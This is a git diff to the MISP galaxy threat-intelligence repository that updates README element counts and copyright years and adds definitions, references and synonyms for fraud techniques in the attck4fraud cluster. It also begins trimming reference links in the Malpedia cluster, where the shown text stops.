diff --git a/README.md b/README.md index c26d664..64bcb7c 100644 --- a/README.md +++ b/README.md @@ -47,7 +47,7 @@ Category: *atrm* - source: *https://github.com/microsoft/Azure-Threat-Research-M [attck4fraud](https://www.misp-project.org/galaxy.html#_attck4fraud) - attck4fraud - Principles of MITRE ATT&CK in the fraud domain -Category: *guidelines* - source: *Open Sources* - total: *31* elements +Category: *guidelines* - source: *Open Sources* - total: *71* elements [[HTML](https://www.misp-project.org/galaxy.html#_attck4fraud)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/attck4fraud.json)] @@ -55,7 +55,7 @@ Category: *guidelines* - source: *Open Sources* - total: *31* elements [Backdoor](https://www.misp-project.org/galaxy.html#_backdoor) - A list of backdoor malware. -Category: *tool* - source: *Open Sources* - total: *14* elements +Category: *tool* - source: *Open Sources* - total: *16* elements [[HTML](https://www.misp-project.org/galaxy.html#_backdoor)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/backdoor.json)] @@ -159,7 +159,7 @@ Category: *first-dns* - source: *https://www.first.org/global/sigs/dns/* - total [Malpedia](https://www.misp-project.org/galaxy.html#_malpedia) - Malware galaxy cluster based on Malpedia. -Category: *tool* - source: *Malpedia* - total: *2574* elements +Category: *tool* - source: *Malpedia* - total: *2823* elements [[HTML](https://www.misp-project.org/galaxy.html#_malpedia)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/malpedia.json)] @@ -183,7 +183,7 @@ Category: *misinformation-pattern* - source: *https://github.com/misinfosecproje [Attack Pattern](https://www.misp-project.org/galaxy.html#_attack_pattern) - ATT&CK tactic -Category: *attack-pattern* - source: *https://github.com/mitre/cti* - total: *1086* elements +Category: *attack-pattern* - source: *https://github.com/mitre/cti* - total: *1099* elements [[HTML](https://www.misp-project.org/galaxy.html#_attack_pattern)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/mitre-attack-pattern.json)] @@ -287,7 +287,7 @@ Category: *attack-pattern* - source: *https://collaborate.mitre.org/attackics/in [Intrusion Set](https://www.misp-project.org/galaxy.html#_intrusion_set) - Name of ATT&CK Group -Category: *actor* - source: *https://github.com/mitre/cti* - total: *148* elements +Category: *actor* - source: *https://github.com/mitre/cti* - total: *151* elements [[HTML](https://www.misp-project.org/galaxy.html#_intrusion_set)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/mitre-intrusion-set.json)] @@ -295,7 +295,7 @@ Category: *actor* - source: *https://github.com/mitre/cti* - total: *148* elemen [Malware](https://www.misp-project.org/galaxy.html#_malware) - Name of ATT&CK software -Category: *tool* - source: *https://github.com/mitre/cti* - total: *633* elements +Category: *tool* - source: *https://github.com/mitre/cti* - total: *653* elements [[HTML](https://www.misp-project.org/galaxy.html#_malware)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/mitre-malware.json)] @@ -359,7 +359,7 @@ Category: *actor* - source: *https://github.com/mitre/cti* - total: *7* elements [Tool](https://www.misp-project.org/galaxy.html#_tool) - Name of ATT&CK software -Category: *tool* - source: *https://github.com/mitre/cti* - total: *82* elements +Category: *tool* - source: *https://github.com/mitre/cti* - total: *84* elements [[HTML](https://www.misp-project.org/galaxy.html#_tool)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/mitre-tool.json)] @@ -431,7 +431,7 @@ Category: *sector* - source: *CERT-EU* - total: *117* elements [Sigma-Rules](https://www.misp-project.org/galaxy.html#_sigma-rules) - MISP galaxy cluster based on Sigma Rules. -Category: *rules* - source: *https://github.com/jstnk9/MISP/tree/main/misp-galaxy/sigma* - total: *2703* elements +Category: *rules* - source: *https://github.com/jstnk9/MISP/tree/main/misp-galaxy/sigma* - total: *2568* elements [[HTML](https://www.misp-project.org/galaxy.html#_sigma-rules)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/sigma-rules.json)] @@ -495,7 +495,7 @@ Category: *tea-matrix* - source: ** - total: *7* elements [Threat Actor](https://www.misp-project.org/galaxy.html#_threat_actor) - Known or estimated adversary groups targeting organizations and employees. Adversary groups are regularly confused with their initial operation or campaign. threat-actor-classification meta can be used to clarify the understanding of the threat-actor if also considered as operation, campaign or activity group. -Category: *actor* - source: *MISP Project* - total: *419* elements +Category: *actor* - source: *MISP Project* - total: *420* elements [[HTML](https://www.misp-project.org/galaxy.html#_threat_actor)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/threat-actor.json)] @@ -503,7 +503,7 @@ Category: *actor* - source: *MISP Project* - total: *419* elements [Tool](https://www.misp-project.org/galaxy.html#_tool) - threat-actor-tools is an enumeration of tools used by adversaries. The list includes malware but also common software regularly used by the adversaries. -Category: *tool* - source: *MISP Project* - total: *552* elements +Category: *tool* - source: *MISP Project* - total: *557* elements [[HTML](https://www.misp-project.org/galaxy.html#_tool)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/tool.json)] @@ -515,6 +515,7 @@ Category: *military equipment* - source: *Popular Mechanics* - total: *36* eleme [[HTML](https://www.misp-project.org/galaxy.html#_uavs/ucavs)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/uavs.json)] + # Online documentation A [readable PDF overview of the MISP galaxy is available](https://www.misp.software/galaxy.pdf) or [HTML](https://www.misp.software/galaxy.html) and generated from the JSON. @@ -532,12 +533,12 @@ The MISP galaxy (JSON files) are dual-licensed under: or ~~~~ - Copyright (c) 2015-2022 Alexandre Dulaunoy - a@foo.be - Copyright (c) 2015-2022 CIRCL - Computer Incident Response Center Luxembourg - Copyright (c) 2015-2022 Andras Iklody - Copyright (c) 2015-2022 Raphael Vinot - Copyright (c) 2015-2022 Deborah Servili - Copyright (c) 2016-2022 Various contributors to MISP Project + Copyright (c) 2015-2023 Alexandre Dulaunoy - a@foo.be + Copyright (c) 2015-2023 CIRCL - Computer Incident Response Center Luxembourg + Copyright (c) 2015-2023 Andras Iklody + Copyright (c) 2015-2023 Raphael Vinot + Copyright (c) 2015-2023 Deborah Servili + Copyright (c) 2016-2023 Various contributors to MISP Project Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: diff --git a/clusters/attck4fraud.json b/clusters/attck4fraud.json index 73d0209..2f826de 100644 --- a/clusters/attck4fraud.json +++ b/clusters/attck4fraud.json @@ -1,6 +1,7 @@ { "authors": [ - "Francesco Bigarella" + "Francesco Bigarella", + "Christophe Vandeplas" ], "category": "guidelines", "description": "attck4fraud - Principles of MITRE ATT&CK in the fraud domain", @@ -24,7 +25,8 @@ "mitigation": "Implementation of DKIM and SPF authentication to detected spoofed email senders; anti-phishing solutions.", "refs": [ "https://blog.malwarebytes.com/cybercrime/2015/02/amazon-notice-ticket-number-phish-seeks-card-details/", - "https://www.bleepingcomputer.com/news/security/widespread-apple-id-phishing-attack-pretends-to-be-app-store-receipts/" + "https://www.bleepingcomputer.com/news/security/widespread-apple-id-phishing-attack-pretends-to-be-app-store-receipts/", + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" ], "victim": "end customer, enterprise" }, @@ -46,7 +48,11 @@ "mitigation": "Implementation of DKIM and SPF authentication to detected spoofed email senders; flagging email coming from outside the enterprise (enterprise); anti-phishing solutions; awareness training (enterprise).", "refs": [ "http://fortune.com/2017/04/27/facebook-google-rimasauskas/", - "https://www.ibtimes.co.uk/russian-hackers-fancy-bear-likely-breached-olympic-drug-testing-agency-dnc-experts-say-1577508" + "https://www.ibtimes.co.uk/russian-hackers-fancy-bear-likely-breached-olympic-drug-testing-agency-dnc-experts-say-1577508", + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ], + "synonyms": [ + "Spear-phishing" ], "victim": "end customer, enterprise" }, @@ -77,7 +83,11 @@ "https://krebsonsecurity.com/2014/11/skimmer-innovation-wiretapping-atms/", "https://krebsonsecurity.com/2016/09/secret-service-warns-of-periscope-skimmers/", "https://krebsonsecurity.com/2011/03/green-skimmers-skimming-green", - "https://blog.dieboldnixdorf.com/have-you-asked-yourself-this-question-about-skimming/" + "https://blog.dieboldnixdorf.com/have-you-asked-yourself-this-question-about-skimming/", + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ], + "synonyms": [ + "Skimming - CPP ATM" ], "victim": "end customer, enterprise" }, @@ -91,7 +101,11 @@ "fraud-tactics:Initiation" ], "refs": [ - "https://medium.com/@netsentries/beware-of-atm-cash-trapping-9421e498dfcf" + "https://medium.com/@netsentries/beware-of-atm-cash-trapping-9421e498dfcf", + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ], + "synonyms": [ + "Cash Trapping" ] }, "uuid": "1e709b6e-ff4a-4645-adec-42f9636d38f8", @@ -122,20 +136,29 @@ "value": "ATM Shimming" }, { - "description": "Vishing", + "description": "Also known as voice phishing, is the criminal practice of using social engineering over the telephone system to gain access to private personal and financial information from the public for the purpose of financial reward. It is also employed by attackers for reconnaissance purposes to gather more detailed intelligence on a target organisation.", "meta": { "kill_chain": [ "fraud-tactics:Initiation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" ] }, "uuid": "308fb88c-412a-4468-91ed-468d07fe4170", "value": "Vishing" }, { - "description": "POS Skimming", + "description": "CPP analysis identifies the likely merchant, POS or ATM location from where card numbers were stolen so that banks can mitigate fraud on other compromised cards.", "meta": { "kill_chain": [ "fraud-tactics:Initiation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ], + "synonyms": [ + "Skimming - CPP POS" ] }, "uuid": "c33778e5-b5cc-4d12-8e4e-a329156d988c", @@ -152,10 +175,13 @@ "value": "Social Media Scams" }, { - "description": "Malware", + "description": "Software which is specifically designed to disrupt, damage, or gain authorised access to a computer system.", "meta": { "kill_chain": [ "fraud-tactics:Target Compromise" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" ] }, "uuid": "6ee0f7cd-a0ef-46c5-9d80-f0fbac2a9140", @@ -172,10 +198,16 @@ "value": "Account-Checking Services" }, { - "description": "ATM Black Box Attack", + "description": "Type of Jackpotting attack. Connection of an unauthorized device which sends dispense commands directly to the ATM cash dispenser in order to “cash out” the ATM.", "meta": { "kill_chain": [ "fraud-tactics:Target Compromise" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ], + "synonyms": [ + "Black Box Attack" ] }, "uuid": "6bec22cb-9aed-426a-bffc-b0a78db6527a", @@ -192,20 +224,29 @@ "value": "Insider Trading" }, { - "description": "Investment Fraud", + "description": "A deceptive practice in the stock or commodities markets that induces investors to make purchase or sale decisions on the basis of false information, frequently resulting in losses, in violation of securities laws.", "meta": { "kill_chain": [ "fraud-tactics:Perform Fraud" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" ] }, "uuid": "92f5f46f-c506-45de-9a7f-f1128e40d47c", "value": "Investment Fraud" }, { - "description": "Romance Scam", + "description": "Romance scam is a confidence trick involving feigning romantic intentions towards a victim, gaining their affection, and then using that goodwill to commit fraud. Fraudulent acts may involve access to the victim's money, bank accounts, credit cards, passports, e-mail accounts, or national identification numbers; or forcing the victims to commit financial fraud on their behalf.", "meta": { "kill_chain": [ "fraud-tactics:Perform Fraud" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ], + "synonyms": [ + "Romance Fraud" ] }, "uuid": "8ac64815-52c0-4d14-a4e4-4a19b2a6057d", @@ -232,10 +273,16 @@ "value": "Cash Recovery Scam" }, { - "description": "Fake Invoice Fraud", + "description": "Invoice fraud happens when a company or organisation is tricked into changing bank account payee details for a payment. Criminals pose as regular suppliers to the company or organisation and will make a formal request for bank account details to be changed or emit false invoices.", "meta": { "kill_chain": [ "fraud-tactics:Perform Fraud" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ], + "synonyms": [ + "Invoice Fraud" ] }, "uuid": "a0f764d1-b541-4ee7-bb30-21b9a735f644", @@ -272,20 +319,32 @@ "value": "CxO Fraud" }, { - "description": "Compromised Payment Cards", + "description": "The loss of or theft of a card, which is subsequently used for illegal purposes until blocked by the card issuer.", "meta": { "kill_chain": [ "fraud-tactics:Obtain Fraudulent Assets" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ], + "synonyms": [ + "Lost/Stolen Card" ] }, "uuid": "d46e397f-8957-41f1-8736-13400b9e82fc", "value": "Compromised Payment Cards" }, { - "description": "Compromised Account Credentials", + "description": "Account takeover fraud is a form of identity theft in which the fraudster gets access to a victim's bank or credit card accounts -- through a data breach, malware or phishing -- and uses them to make unauthorised transaction.", "meta": { "kill_chain": [ "fraud-tactics:Obtain Fraudulent Assets" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ], + "synonyms": [ + "Account Takeover Fraud" ] }, "uuid": "7d71e71c-502f-412a-8fc7-584de8a9d203", @@ -391,7 +450,514 @@ }, "uuid": "9bfd2f4f-39a7-43fe-b5cd-a345a065276d", "value": "ATM Explosive Attack" + }, + { + "description": "A card not present transaction (CNP, MO/TO, Mail Order / Telephone Order, MOTOEC) is a payment card transaction made where the cardholder does not or cannot physically present the card for a merchant's visual examination at the time that an order is given and payment effected", + "meta": { + "kill_chain": [ + "fraud-tactics:Perform Fraud" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "a13829f4-be4b-5ada-8be4-3515b080cf6c", + "value": "CNP – Card Not Present" + }, + { + "description": "A card present transaction occurs when a cardholder physically presents a card to request and authorise a financial transaction", + "meta": { + "kill_chain": [ + "fraud-tactics:Perform Fraud" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "422f283a-19e0-56da-b348-98b5d31fcea6", + "value": "CP – Card Present" + }, + { + "description": "Fraud that occurs when a merchant account is used without the intention of operating a legitimate business transaction.", + "meta": { + "kill_chain": [ + "fraud-tactics:Perform Fraud" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "ccd0dcc5-5f86-52fb-8e72-7aa6e8f55f8a", + "value": "Merchant Fraud" + }, + { + "description": "Fraud that involves virtual currency, or virtual money, which is a type of unregulated, digital money, issued and usually controlled by its developers and used and accepted among the members of a specific virtual community.", + "meta": { + "kill_chain": [ + "fraud-tactics:Monetisation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "69273dd2-cc8d-5a83-9544-1b6f6a8f8a53", + "value": "Virtual Currency Fraud" + }, + { + "description": "A category of criminal acts that involve making the unlawful use of cheques in order to illegally acquire or borrow funds that do not exist within the account balance or account-holder's legal ownership. Most methods involve taking advantage the time between the negotiation of the cheque and its clearance at the cheque writer's financial institution to draw out these funds.", + "meta": { + "kill_chain": [ + "fraud-tactics:Monetisation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "b70d490e-7eef-5219-ab93-4ea085bf9361", + "value": "Cheque Fraud" + }, + { + "description": "Fraud perpetrated via omni- channel means to digital banking or payments channels such as home banking or other electronic services.", + "meta": { + "kill_chain": [ + "fraud-tactics:Perform Fraud" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "39de6438-4c1f-5bdc-b9a8-5cc3e889eaaf", + "value": "Digital Fraud" + }, + { + "description": "Fraud perpetrated via mobile devices to digital banking, payments channels such as home banking or other electronic services, or online merchants", + "meta": { + "kill_chain": [ + "fraud-tactics:Perform Fraud" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "147b0d04-933c-5244-8c67-33914426d47b", + "value": "Mobile Fraud" + }, + { + "description": "Fraud perpetrated via land line telephone means to banking or payments channels such as home banking or other electronic services or merchants", + "meta": { + "kill_chain": [ + "fraud-tactics:Perform Fraud" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "5e28b366-d9f0-5079-b796-3fa424ec365a", + "value": "Telephone Fraud" + }, + { + "description": "Fraud occurs when a standing order is falsely created or adulterated. A standing order is an automated method of making payments, where a person or business instructs their bank to pay another person or business, a fixed amount of money at regular intervals. Fraud occurs when a standing order is falsely created or adulterated.", + "meta": { + "kill_chain": [ + "fraud-tactics:Assets Transfer" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "86e2f55d-cf76-5be8-9cf3-7bfa24d0ea2a", + "value": "Standing Order Fraud" + }, + { + "description": "A scam in which cybercriminals spoof company email accounts and impersonate executives to try and fool an employee in accounting or HR into executing unauthorized wire transfers, or sending out confidential information", + "meta": { + "kill_chain": [ + "fraud-tactics:Initiation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "55a413e3-5eba-5eac-a36b-575bdb2e7cd7", + "value": "CEO/BEC Fraud" + }, + { + "description": "An illegal process of concealing the origins of money obtained illegally by passing it through a complex sequence of banking transfers or commercial transactions. The overall scheme of this process returns the money to the launderer in an obscure and indirect way.", + "meta": { + "kill_chain": [ + "fraud-tactics:Monetisation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "d0492296-9ba7-59ad-a510-f8a0526c114a", + "value": "Money laundering" + }, + { + "description": "Credit cards are produced in BIN ranges. Where an issuer does not use random generation of the card number, it is possible for an attacker to obtain one good card number and generate valid card numbers", + "meta": { + "kill_chain": [ + "fraud-tactics:Perform Fraud" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "37ff3b85-80f5-5380-8ce0-defee3ba819f", + "value": "BIN Attack" + }, + { + "description": "In computing, a denial-of-service attack is a cyber-attack in which the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to the Internet", + "meta": { + "kill_chain": [ + "fraud-tactics:Initiation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "7ca098c2-9f6e-56be-8b32-7f36833803ee", + "value": "DoS - Denial of Service Attack" + }, + { + "description": "In cryptography and computer security, a man-in-the-middle attack (MITM) is an attack where the attacker secretly relays and possibly alters the communication between two parties who believe they are directly communicating with each other", + "meta": { + "kill_chain": [ + "fraud-tactics:Initiation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "bcd23dee-c9da-548d-9d74-2ed7d71133be", + "value": "MITM - Man-in-the-Middle Attack" + }, + { + "description": "Unauthorized physical manipulation of ATM cash withdrawal. Appears that cash has not been dispensed – a reversal message generated – SEE FULL TERMINAL FRAUD DEFINITION", + "meta": { + "kill_chain": [ + "fraud-tactics:Target Compromise" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "2ac0d577-7de1-5cbd-bf8a-30b79cd7f6cc", + "value": "Transaction Reversal Fraud" + }, + { + "description": "The data contained in an authorisation message is manipulated to try to fool the payment processor.", + "meta": { + "kill_chain": [ + "fraud-tactics:Target Compromise" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "fb5b4715-5e6b-5134-a99a-b154b8f2cb84", + "value": "Transaction Message Adulteration" + }, + { + "description": "Fraud committed against a financial institution by one of its own customers", + "meta": { + "kill_chain": [ + "fraud-tactics:Obtain Fraudulent Assets" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "09ac2614-d332-51b4-b7b0-ce3f9a74539b", + "value": "First Party (Friendly) Fraud" + }, + { + "description": "Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials. Alternatively, an adversary may intercept a message from a legitimate sender and attempt to make it look like the message comes from them without changing its content. The latter form of this attack can be used to hijack credentials from legitimate users. Identity Spoofing attacks need not be limited to transmitted messages - any resource that is associated with an identity (for example, a file with a signature) can be the target of an attack where the adversary attempts to change the apparent identity", + "meta": { + "kill_chain": [ + "fraud-tactics:Obtain Fraudulent Assets" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "b105c344-448c-5d70-bb64-31f0f1246389", + "value": "Identity Spoofing (or entity hacking)" + }, + { + "description": "A form of fraud in which victims are manipulated into making real-time payments to fraudsters, typically by social engineering attacks involving impersonation.", + "meta": { + "kill_chain": [ + "fraud-tactics:Assets Transfer" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "b36f88c8-3682-5cac-b89d-33f64f91fc94", + "value": "Authorised Push Payment Fraud" + }, + { + "description": "Direct debit fraud can take place in several ways. It is often associated with identity theft, where the scammer gains access to the bank account information by posing as the victim. They can pay for services and products via a direct debit option and use this account until its owner notices.", + "meta": { + "kill_chain": [ + "fraud-tactics:Assets Transfer" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "def44822-3b24-5612-b6a2-da77f84fb5d9", + "value": "Direct Debit Fraud" + }, + { + "description": "Obtaining benefit through coercion", + "meta": { + "kill_chain": [ + "fraud-tactics:Perform Fraud" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "e376947a-2e73-5c81-b8d5-7ac8a3ecc7a1", + "value": "Extortion" + }, + { + "description": "Also known as \"SMS Phishing\", is a form of criminal activity using social engineering techniques. SMS phishing uses cell phone text messages to deliver information and/or requests to induce people to divulge or to take action that will compromise their personal or confidential information.", + "meta": { + "kill_chain": [ + "fraud-tactics:Initiation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "7607cd1c-c237-55c8-8dc6-d552ca28b86f", + "value": "Smishing" + }, + { + "description": "Technique used to obtain information such as personal identification numbers (PINs), passwords and other confidential data by looking over the victim's shoulder", + "meta": { + "kill_chain": [ + "fraud-tactics:Initiation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "7304230c-a2ba-5f85-915b-21ef2df62c0a", + "value": "Shoulder Surfing" + }, + { + "description": "The process of diverting the attention of an individual or group from a desired area of focus and thereby blocking or diminishing the reception of desired information.", + "meta": { + "kill_chain": [ + "fraud-tactics:Initiation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "cd4a2731-b691-5c91-a608-cf6c431be0ba", + "value": "Distraction" + }, + { + "description": "Authorised push payment fraud happens when fraudsters deceive consumers or individuals at a business to send them a payment under false pretences to a bank account controlled by the fraudster. As payments made using real-time payment schemes are irrevocable, the victims cannot reverse a payment once they realise they have been conned.", + "meta": { + "kill_chain": [ + "fraud-tactics:Initiation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "056a1cf1-0c75-59cc-9d73-f3b5b70ab77e", + "value": "Push Payments" + }, + { + "description": "Unauthorised software, or authorises software run in an unauthorized manner on ATM PC - SEE FULL TERMINAL FRAUD DEFINITION", + "meta": { + "kill_chain": [ + "fraud-tactics:Initiation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "956593f4-ff08-523f-995a-6b8c56c101be", + "value": "ATM Malware" + }, + { + "description": "A data breach is a security incident in which sensitive, protected or confidential data is copied, transmitted, viewed, stolen or used from a PC or Computer Network by an entity unauthorised to do so.", + "meta": { + "kill_chain": [ + "fraud-tactics:Initiation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "65c6719e-9daf-578a-8d86-0f65b3054e75", + "value": "Data Breach" + }, + { + "description": "A type of malicious software designed to block access to a computer system until a sum of money is paid", + "meta": { + "kill_chain": [ + "fraud-tactics:Initiation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "73e1bbdc-1b73-5b84-9f6c-6d13c491bb47", + "value": "Ransomware" + }, + { + "description": "A website that is not a legitimate venue, the site is designed to entice the visitor into revealing sensitive information, to download some form of malware or to purchase products that never arrive", + "meta": { + "kill_chain": [ + "fraud-tactics:Initiation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "d86ff26f-b9c3-5668-8eef-7a178b6fe158", + "value": "Fake Website" + }, + { + "description": "Apps in mobile devices that trick users into downloading them. They may also pose as quirky and attractive apps, providing interesting services. Once installed on a mobile device, fake apps can perform a variety of malicious routines.", + "meta": { + "kill_chain": [ + "fraud-tactics:Initiation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "8dba8e97-7af4-5e76-8dde-3be54c9e8a6c", + "value": "Fake App" + }, + { + "description": "Cyber criminals introduce skimming code on e-commerce payment card processing web pages to capture credit card and personally identifiable information and send the stolen data to a domain under their control.", + "meta": { + "kill_chain": [ + "fraud-tactics:Initiation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "7f5886b8-06a2-51cc-8428-5cb67615e3b2", + "value": "e-Skimming" + }, + { + "description": "CPP analysis identifies Payment Terminal parking, transport, fuel, etc. locations, from where card numbers were stolen so that banks can mitigate fraud on other compromised cards.", + "meta": { + "kill_chain": [ + "fraud-tactics:Initiation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "e89436a5-1b58-5676-a34d-d654c59a7d32", + "value": "Skimming - CPP UPT" + }, + { + "description": "Same as e-Skimming", + "meta": { + "kill_chain": [ + "fraud-tactics:Initiation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "80165f05-1c1d-5f41-96b6-464ac065b052", + "value": "Skimming - CPP Virtual Terminal" + }, + { + "description": "Unauthorized physical ATM manipulation, preventing card from being returned to customer - SEE FULL TERMINAL FRAUD DEFINITION", + "meta": { + "kill_chain": [ + "fraud-tactics:Initiation" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "493b35ed-9415-5de5-a5cb-298f169cc4f4", + "value": "Card Trapping" + }, + { + "description": "Patch management is the best practice of upgrading existing software applications to remove any weak security patches that could be exploited by hackers. Lack of proper patching allows cyber criminals to exploit systems and networks.", + "meta": { + "kill_chain": [ + "fraud-tactics:Due Diligence" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "0e7a4057-d84b-5451-9006-5a5efe9e948a", + "value": "Lack of Patching / Security" + }, + { + "description": "Process where an information system is deployed into a Production Environed with faults, errors or vulnerabilities", + "meta": { + "kill_chain": [ + "fraud-tactics:Due Diligence" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "b132c566-7656-5b2b-b157-5734c9e30cc8", + "value": "Bad implementation" + }, + { + "description": "Implementation of a system, solution or service not according to defined and tested best practices.", + "meta": { + "kill_chain": [ + "fraud-tactics:Due Diligence" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "dd09e952-7992-5a37-a9c4-ed978d89a939", + "value": "Deployment Error" + }, + { + "description": "Merchants not following best practice procedures to avoid criminal or fraudulent activity,", + "meta": { + "kill_chain": [ + "fraud-tactics:Due Diligence" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "39a06139-ece8-5d8c-947e-cf0b4dbdccf6", + "value": "Merchant Negligence" + }, + { + "description": "Implementation of a sstem, solution or service not according to defined and tested standards", + "meta": { + "kill_chain": [ + "fraud-tactics:Due Diligence" + ], + "refs": [ + "https://www.association-secure-transactions.eu/industry-information/fraud-definitions/" + ] + }, + "uuid": "a52f8c2e-4a38-5b1b-a4b0-4710606cd86f", + "value": "Implementation not according to Standards" } ], - "version": 4 + "version": 6 } diff --git a/clusters/malpedia.json b/clusters/malpedia.json index b9b0fd8..dc625e6 100644 --- a/clusters/malpedia.json +++ b/clusters/malpedia.json @@ -20,35 +20,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/aix.fastcash", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://github.com/fboldewin/FastCashMalwareDissected/", - "https://www.cisa.gov/uscert/ncas/alerts/TA18-275A", - "https://www.cisa.gov/uscert/ncas/alerts/aa20-239a", - "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", - "https://www.youtube.com/watch?v=zGvQPtejX9w", - "https://www.us-cert.gov/ncas/alerts/TA18-275A", - "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html", - "https://threatrecon.nshc.net/2019/01/23/sectora01-custom-proxy-utility-tool-analysis/", - "https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud.pdf", - "https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud-wp.pdf", - 